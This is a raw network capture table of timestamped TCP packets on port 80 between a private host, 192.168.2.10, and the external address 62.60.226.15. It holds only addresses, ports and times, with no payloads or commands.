Dec 16, 2024 15:28:13.516725063 CET	80	49753	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:13.516860962 CET	49753	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:13.516881943 CET	80	49752	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:13.517151117 CET	49752	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:13.517308950 CET	49753	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:13.638952017 CET	80	49753	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:14.913259983 CET	80	49753	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:14.913330078 CET	49753	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:16.536493063 CET	49753	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:16.536864996 CET	49754	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:16.656672001 CET	80	49754	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:16.656855106 CET	49754	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:16.656864882 CET	80	49753	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:16.656956911 CET	49753	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:16.657264948 CET	49754	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:16.777069092 CET	80	49754	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:17.950202942 CET	80	49754	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:17.950541973 CET	49754	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:19.464301109 CET	49754	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:19.465061903 CET	49755	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:19.584717989 CET	80	49754	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:19.584785938 CET	80	49755	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:19.585232973 CET	49755	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:19.585233927 CET	49754	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:19.585283995 CET	49755	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:19.705305099 CET	80	49755	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:20.870526075 CET	80	49755	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:20.870652914 CET	49755	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:22.490001917 CET	49755	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:22.490345001 CET	49756	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:22.611243963 CET	80	49755	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:22.611265898 CET	80	49756	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:22.611329079 CET	49755	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:22.611391068 CET	49756	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:22.611706972 CET	49756	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:22.732543945 CET	80	49756	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:23.925257921 CET	80	49756	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:23.925339937 CET	49756	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:25.442562103 CET	49756	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:25.442913055 CET	49757	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:25.563011885 CET	80	49757	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:25.563236952 CET	80	49756	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:25.563363075 CET	49757	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:25.563365936 CET	49756	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:25.563541889 CET	49757	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:25.683489084 CET	80	49757	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:26.839324951 CET	80	49757	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:26.839463949 CET	49757	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:28.473613977 CET	49757	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:28.477765083 CET	49758	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:28.594072104 CET	80	49757	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:28.594264984 CET	49757	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:28.598261118 CET	80	49758	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:28.598362923 CET	49758	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:28.598573923 CET	49758	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:28.718393087 CET	80	49758	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:29.870234966 CET	80	49758	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:29.870543957 CET	49758	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:31.380130053 CET	49758	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:31.380532026 CET	49759	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:31.500538111 CET	80	49759	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:31.500672102 CET	80	49758	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:31.500679970 CET	49759	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:31.500822067 CET	49758	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:31.501028061 CET	49759	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:31.620889902 CET	80	49759	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:32.799202919 CET	80	49759	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:32.799344063 CET	49759	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:34.426644087 CET	49759	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:34.427113056 CET	49760	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:34.546825886 CET	80	49759	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:34.546864033 CET	80	49760	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:34.546969891 CET	49759	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:34.546972036 CET	49760	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:34.547209024 CET	49760	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:34.667483091 CET	80	49760	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:35.816580057 CET	80	49760	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:35.817002058 CET	49760	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:37.333492994 CET	49760	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:37.333914995 CET	49761	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:37.453717947 CET	80	49761	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:37.453746080 CET	80	49760	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:37.453942060 CET	49760	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:37.453943968 CET	49761	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:37.454210997 CET	49761	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:37.574248075 CET	80	49761	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:38.749696970 CET	80	49761	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:38.754129887 CET	49761	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:40.381860971 CET	49761	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:40.382026911 CET	49762	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:40.577065945 CET	80	49762	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:40.577101946 CET	80	49761	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:40.577435017 CET	49762	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:40.577435017 CET	49762	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:40.577482939 CET	49761	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:40.697278023 CET	80	49762	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:41.844940901 CET	80	49762	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:41.845113039 CET	49762	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:43.349054098 CET	49762	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:43.349415064 CET	49763	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:43.469552994 CET	80	49763	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:43.469571114 CET	80	49762	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:43.469665051 CET	49762	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:43.469918013 CET	49763	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:43.470067024 CET	49763	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:43.589975119 CET	80	49763	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:44.747591019 CET	80	49763	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:44.747663021 CET	49763	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:46.380098104 CET	49763	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:46.380459070 CET	49764	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:46.500365973 CET	80	49764	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:46.500456095 CET	49764	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:46.500518084 CET	80	49763	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:46.500639915 CET	49764	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:46.500679970 CET	49763	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:46.620665073 CET	80	49764	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:47.798458099 CET	80	49764	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:47.798530102 CET	49764	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:49.161684036 CET	49764	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:49.282267094 CET	80	49764	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:49.282567978 CET	49764	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:49.302020073 CET	49765	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:49.422036886 CET	80	49765	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:49.422241926 CET	49765	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:49.422514915 CET	49765	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:49.542232990 CET	80	49765	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:50.703238964 CET	80	49765	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:50.703438044 CET	49765	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:52.333352089 CET	49765	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:52.333704948 CET	49766	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:52.453649998 CET	80	49766	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:52.453692913 CET	80	49765	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:52.453753948 CET	49766	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:52.453778028 CET	49765	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:52.453998089 CET	49766	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:52.573721886 CET	80	49766	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:53.721385956 CET	80	49766	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:53.721470118 CET	49766	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:55.239486933 CET	49766	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:55.243491888 CET	49767	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:55.363320112 CET	80	49766	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:55.363415003 CET	80	49767	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:55.363425016 CET	49766	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:55.363610983 CET	49767	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:55.363886118 CET	49767	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:55.483747005 CET	80	49767	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:56.644545078 CET	80	49767	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:56.644659042 CET	49767	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:58.271776915 CET	49767	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:58.272248030 CET	49768	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:58.392100096 CET	80	49768	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:58.392199039 CET	49768	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:58.392465115 CET	49768	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:58.411984921 CET	80	49767	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:58.412055969 CET	49767	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:28:58.512522936 CET	80	49768	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:59.674299002 CET	80	49768	62.60.226.15	192.168.2.10
Dec 16, 2024 15:28:59.674366951 CET	49768	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:01.192315102 CET	49768	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:01.193413019 CET	49769	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:01.312877893 CET	80	49768	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:01.312980890 CET	49768	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:01.313599110 CET	80	49769	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:01.313724041 CET	49769	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:01.317910910 CET	49769	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:01.437705040 CET	80	49769	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:02.593630075 CET	80	49769	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:02.594429970 CET	49769	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:04.225845098 CET	49769	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:04.226174116 CET	49770	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:04.346153975 CET	80	49770	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:04.346250057 CET	80	49769	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:04.346312046 CET	49769	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:04.346314907 CET	49770	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:04.346657991 CET	49770	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:04.466408014 CET	80	49770	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:05.614727974 CET	80	49770	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:05.614850998 CET	49770	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:07.234179020 CET	49770	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:07.242027044 CET	49771	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:07.354732990 CET	80	49770	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:07.354811907 CET	49770	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:07.361938953 CET	80	49771	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:07.362036943 CET	49771	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:07.376087904 CET	49771	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:07.495918036 CET	80	49771	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:08.634172916 CET	80	49771	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:08.634244919 CET	49771	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:10.254971981 CET	49771	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:10.255320072 CET	49772	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:10.375179052 CET	80	49772	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:10.375272036 CET	80	49771	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:10.375293970 CET	49772	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:10.375334978 CET	49771	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:10.375614882 CET	49772	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:10.496038914 CET	80	49772	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:11.643517971 CET	80	49772	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:11.647684097 CET	49772	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:13.161704063 CET	49772	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:13.162120104 CET	49773	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:13.282075882 CET	80	49773	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:13.282166004 CET	49773	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:13.282543898 CET	49773	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:13.283113956 CET	80	49772	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:13.283174992 CET	49772	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:13.403111935 CET	80	49773	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:14.553715944 CET	80	49773	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:14.555622101 CET	49773	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:16.177164078 CET	49773	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:16.177292109 CET	49774	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:16.297158003 CET	80	49774	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:16.297473907 CET	80	49773	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:16.297575951 CET	49774	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:16.297662020 CET	49773	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:16.298041105 CET	49774	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:16.417920113 CET	80	49774	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:17.565325975 CET	80	49774	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:17.565382004 CET	49774	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:19.083830118 CET	49774	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:19.084151030 CET	49775	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:19.204093933 CET	80	49774	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:19.204122066 CET	80	49775	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:19.204165936 CET	49774	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:19.204231977 CET	49775	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:19.204518080 CET	49775	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:19.324448109 CET	80	49775	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:20.475075006 CET	80	49775	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:20.475157022 CET	49775	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:22.098994017 CET	49775	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:22.099589109 CET	49776	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:22.219849110 CET	80	49775	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:22.219870090 CET	80	49776	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:22.220180988 CET	49776	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:22.220184088 CET	49775	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:22.220531940 CET	49776	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:22.340590000 CET	80	49776	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:23.497365952 CET	80	49776	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:23.497436047 CET	49776	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:25.007424116 CET	49776	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:25.007792950 CET	49777	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:25.127681971 CET	80	49777	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:25.127765894 CET	49777	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:25.128011942 CET	49777	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:25.128103018 CET	80	49776	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:25.128155947 CET	49776	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:25.247740984 CET	80	49777	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:26.426583052 CET	80	49777	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:26.426738024 CET	49777	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:28.051811934 CET	49777	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:28.053617001 CET	49778	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:28.172566891 CET	80	49777	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:28.173732042 CET	49777	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:28.173773050 CET	80	49778	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:28.179903030 CET	49778	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:28.180047989 CET	49778	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:28.299859047 CET	80	49778	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:29.457067013 CET	80	49778	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:29.457151890 CET	49778	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:30.974062920 CET	49778	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:30.974468946 CET	49779	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:31.094635963 CET	80	49779	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:31.094729900 CET	80	49778	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:31.094764948 CET	49779	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:31.094789982 CET	49778	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:31.095058918 CET	49779	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:31.215046883 CET	80	49779	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:32.365231991 CET	80	49779	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:32.365432978 CET	49779	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:33.989794970 CET	49779	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:33.991591930 CET	49780	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:34.109958887 CET	80	49779	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:34.111324072 CET	80	49780	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:34.111485958 CET	49779	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:34.111485958 CET	49780	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:34.111773968 CET	49780	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:34.231981039 CET	80	49780	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:35.385090113 CET	80	49780	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:35.385154009 CET	49780	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:36.897397041 CET	49780	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:36.897839069 CET	49781	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:37.017693043 CET	80	49780	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:37.017760038 CET	49780	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:37.017761946 CET	80	49781	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:37.017867088 CET	49781	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:37.018239021 CET	49781	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:37.138142109 CET	80	49781	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:38.291567087 CET	80	49781	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:38.291763067 CET	49781	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:39.915558100 CET	49781	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:39.915615082 CET	49782	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:40.035379887 CET	80	49782	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:40.035742044 CET	80	49781	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:40.035778999 CET	49782	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:40.035778999 CET	49782	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:40.035952091 CET	49781	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:40.174045086 CET	80	49782	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:41.307801008 CET	80	49782	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:41.307857037 CET	49782	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:42.818769932 CET	49782	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:42.819242001 CET	49783	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:42.940080881 CET	80	49783	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:42.940160990 CET	49783	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:42.940294981 CET	80	49782	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:42.940340042 CET	49782	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:42.941560984 CET	49783	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:43.061357021 CET	80	49783	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:44.244076967 CET	80	49783	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:44.244429111 CET	49783	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:45.864034891 CET	49783	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:45.864794016 CET	49784	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:45.984548092 CET	80	49783	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:45.984575033 CET	80	49784	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:45.984633923 CET	49783	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:45.984735012 CET	49784	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:45.984971046 CET	49784	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:46.105000019 CET	80	49784	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:47.343539000 CET	80	49784	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:47.343687057 CET	49784	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:48.850183964 CET	49784	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:48.850539923 CET	49785	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:48.970402956 CET	80	49785	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:48.970424891 CET	80	49784	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:48.970498085 CET	49785	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:48.970524073 CET	49784	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:48.970845938 CET	49785	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:49.090536118 CET	80	49785	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:50.241635084 CET	80	49785	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:50.245706081 CET	49785	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:51.864356041 CET	49785	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:51.867727041 CET	49786	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:51.984627008 CET	80	49785	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:51.987601995 CET	80	49786	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:51.987749100 CET	49785	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:51.991858006 CET	49786	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:51.995702028 CET	49786	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:52.116066933 CET	80	49786	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:53.259152889 CET	80	49786	62.60.226.15	192.168.2.10
Dec 16, 2024 15:29:53.259228945 CET	49786	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:54.771126032 CET	49786	80	192.168.2.10	62.60.226.15
Dec 16, 2024 15:29:54.771441936 CET	49787	80	192.168.2.10	62.60.226.15
